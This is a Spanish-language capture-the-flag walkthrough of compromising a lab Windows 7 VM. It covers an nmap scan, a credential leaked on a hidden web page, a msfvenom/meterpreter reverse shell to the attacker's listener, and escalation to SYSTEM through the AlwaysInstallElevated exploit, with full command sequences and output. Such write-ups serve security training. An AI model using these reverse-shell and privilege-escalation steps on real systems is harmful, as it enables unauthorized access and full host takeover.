Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-30 03:56 EDT
Nmap scan report for 192.168.1.163
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp closed ms-wbt-server
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http Apache httpd 2.4.57 ((Win64))
|_http-server-header: Apache/2.4.57 (Win64)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: We Are Sorry
|_http-open-proxy: Proxy might be redirecting requests
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:6B:C2:A4 (Oracle VirtualBox virtual NIC)
Service Info: Host: ALWAYS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Always-PC
| NetBIOS computer name: ALWAYS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-03-30T10:57:16+03:00
|_nbstat: NetBIOS name: ALWAYS-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:6b:c2:a4 (Oracle VirtualBox virtual NIC)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -59m59s, deviation: 1h43m55s, median: 0s
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-03-30T07:57:16
|_ start_date: 2025-03-30T07:55:24
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.00 seconds
Vemos varios puertos interesantes, entre ellos vamos a probar primero el servidor FTP de forma anonima:
ftp anonymous@<IP>
Pero veremos que no nos deja, por lo que vamos a probar en el puerto 8080 a ver que encontramos.
Si entramos en dicha pagina veremos lo siguiente:
Our Site Is Under Maintenance. Please Come Back Again Later.
No encontraremos nada, por lo que vamos a realizar un poco de fuzzing.
Vemos un directorio bastante interesante llamado /admin por lo que vamos a entrar para ver que vemos:
URL = http://<IP>/admin
Vemos un login, si probamos las credenciales por defecto admin:admin veremos que no nos deja, pero si inspeccionamos la pagina veremos el siguiente JS.
Si metemos directamente el /admins-secret-pagexxx.html veremos que funciona y veremos lo siguiente:
Vemos que nos esta proporcionando otras credenciales del usuario always pero la contraseña esta codificada en Base64, pero si la decodificamos veremos lo siguiente:
echo "WW91Q2FudEZpbmRNZS4hLiE=" | base64 -d
Info:
YouCantFindMe.!.!
Escalate user ftpuser
Pero si lo probamos en la maquina Windows no nos servira, pero el que si nos servira sera el del ftpuser:
Una vez que iniciemos sesion, estaremos dentro de la version escritorio de Windows con dicho usuario, por lo que vamos a generarnos una reverse shell con msfvenom ya que tenemos las credenciales de un usuario.
Una vez generado el binario de la shell vamos a pasarnoslo a la maquina victima abriendo un servidor de python3:
python3 -m http.server 8000
En la maquina victima abriremos el navegador y buscaremos lo siguiente:
Desde aqui nos descargamos la shell que hemos generado, una vez echo esto vamos a ponernos a la escucha desde metasploit.
msfconsole -q
Utilizaremos la siguiente escucha:
use multi/handler
Ahora lo vamos a configurar de la siguiente forma:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_ATTACKER>
set LPORT <PORT>
run
Ahora desde la maquina victima ejecutamos el archivo shell.exe y si volvemos a donde tenemos la escucha veremos lo siguiente:
[*] Started reverse TCP handler on 192.168.1.146:7777
[*] Sending stage (177734 bytes) to 192.168.1.163
[*] Meterpreter session 1 opened (192.168.1.146:7777 -> 192.168.1.163:49181) at 2025-03-30 04:37:37 -0400
meterpreter > getuid
Server username: Always-PC\ftpuser
Vemos que ya obtuvimos la shell con un meterpreter.
Escalate Privileges
Ahora que tenemos un meterpreter vamos a utilizar un modulo de metasploit llamado suggester para ver que vulnerabilidades puede tener esta maquina para poder ser administradores.
Vamos a dejar en segundo plano la sesion Ctrl+Z y despues le daremos a Y, una vez que hayamos dejado em segundo plano la sesion haremos lo siguiente:
use post/multi/recon/local_exploit_suggester
Ahora vamos a configurarlo:
set SESSION <ID_SESSION>
set SHOWDESCRIPTION true
exploit
Info:
[*] 192.168.1.163 - Collecting local exploits for x86/windows...
[*] 192.168.1.163 - 198 exploit checks are being tried...
[+] 192.168.1.163 - exploit/windows/local/always_install_elevated: The target is vulnerable.
This module checks the AlwaysInstallElevated registry keys which
dictates if .MSI files should be installed with elevated privileges
(NT AUTHORITY\SYSTEM). The generated .MSI file has an embedded
executable which is extracted and run by the installer. After
execution the .MSI file intentionally fails installation (by calling
some invalid VBS) to prevent it being registered on the system. By
running this with the /quiet argument the error will not be seen by
the user.
[+] 192.168.1.163 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
This module will bypass Windows UAC by creating COM handler registry
entries in the HKCU hive. When certain high integrity processes are
loaded, these registry entries are referenced resulting in the
process loading user-controlled DLLs. These DLLs contain the
payloads that result in elevated sessions. Registry key
modifications are cleaned up after payload invocation. This module
requires the architecture of the payload to match the OS, but the
current low-privilege Meterpreter session architecture can be
different. If specifying EXE::Custom your DLL should call
ExitProcess() after starting your payload in a separate process.
This module invokes the target binary via cmd.exe on the target.
Therefore if cmd.exe access is restricted, this module will not run
correctly.
[+] 192.168.1.163 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when the Windows Event Viewer is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked. The module does not require the
architecture of the payload to match the OS. If specifying
EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
[+] 192.168.1.163 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
This module exploits CVE-2020-0787, an arbitrary file move
vulnerability in outdated versions of the Background Intelligent
Transfer Service (BITS), to overwrite
C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL
containing the attacker's payload. To achieve code execution as the
SYSTEM user, the Update Session Orchestrator service is then
started, which will result in the malicious
WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a
DLL hijacking issue within the Update Session Orchestrator Service.
Note that presently this module only works on Windows 10 and Windows
Server 2016 and later as the Update Session Orchestrator Service was
only introduced in Windows 10. Note that only Windows 10 has been
tested, so your mileage may vary on Windows Server 2016 and later.
[+] 192.168.1.163 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
This module exploits the Task Scheduler 2.0 XML 0day exploited by
Stuxnet. When processing task files, the Windows Task Scheduler only
uses a CRC32 checksum to validate that the file has not been
tampered with. Also, In a default configuration, normal users can
read and write the task files that they have created. By modifying
the task file and creating a CRC32 collision, an attacker can
execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to
webDEViL for the information about disable/enable.
[+] 192.168.1.163 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
[+] 192.168.1.163 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
This module exploits improper object handling in the win32k.sys
kernel mode driver. This module has been tested on vulnerable builds
of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
[+] 192.168.1.163 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
This module exploits a NULL pointer dereference vulnerability in
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver()
system call. The NULL pointer dereference occurs because the
xxxMNFindWindowFromPoint() function does not effectively check the
validity of the tagPOPUPMENU objects it processes before passing
them on to MNGetpItemFromIndex(), where the NULL pointer dereference
will occur. This module has been tested against Windows 7 x86 SP0
and SP1. Offsets within the solution may need to be adjusted to work
with other versions of Windows, such as Windows Server 2008.
[+] 192.168.1.163 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
This module leverages a UAC bypass (TokenMagic) in order to spawn a
process/conduct a DLL hijacking attack to gain SYSTEM-level
privileges. Windows 7 through Windows 10 1803 are affected.
[*] Running check method for exploit 42 / 42
[*] 192.168.1.163 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/always_install_elevated Yes The target is vulnerable.
2 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
5 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
8 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
9 exploit/windows/local/tokenmagic Yes The target appears to be vulnerable.
El exploit que nos llama la atencion es el siguiente:
[+] 192.168.1.163 - exploit/windows/local/always_install_elevated: The target is vulnerable.
This module checks the AlwaysInstallElevated registry keys which
dictates if .MSI files should be installed with elevated privileges
(NT AUTHORITY\SYSTEM). The generated .MSI file has an embedded
executable which is extracted and run by the installer. After
execution the .MSI file intentionally fails installation (by calling
some invalid VBS) to prevent it being registered on the system. By
running this with the /quiet argument the error will not be seen by
the user.
Por lo que vamos a utilizarlo.
use exploit/windows/local/always_install_elevated
Ahora vamos a configurarlo:
set SESSION <ID_SESSION>
set LHOST <IP_ATTACKER>
set LPORT <PORT>
exploit
Info:
[*] Started reverse TCP handler on 192.168.1.146:5555
[*] Uploading the MSI to C:\Users\ftpuser\AppData\Local\Temp\danJqVOY.msi ...
[*] Executing MSI...
[*] Sending stage (177734 bytes) to 192.168.1.163
[+] Deleted C:\Users\ftpuser\AppData\Local\Temp\danJqVOY.msi
[*] Meterpreter session 2 opened (192.168.1.146:5555 -> 192.168.1.163:49182) at 2025-03-30 04:47:26 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Vemos que ha funcionado y ya seremos Administradores por lo que leeremos la flags del usuario y del admin.
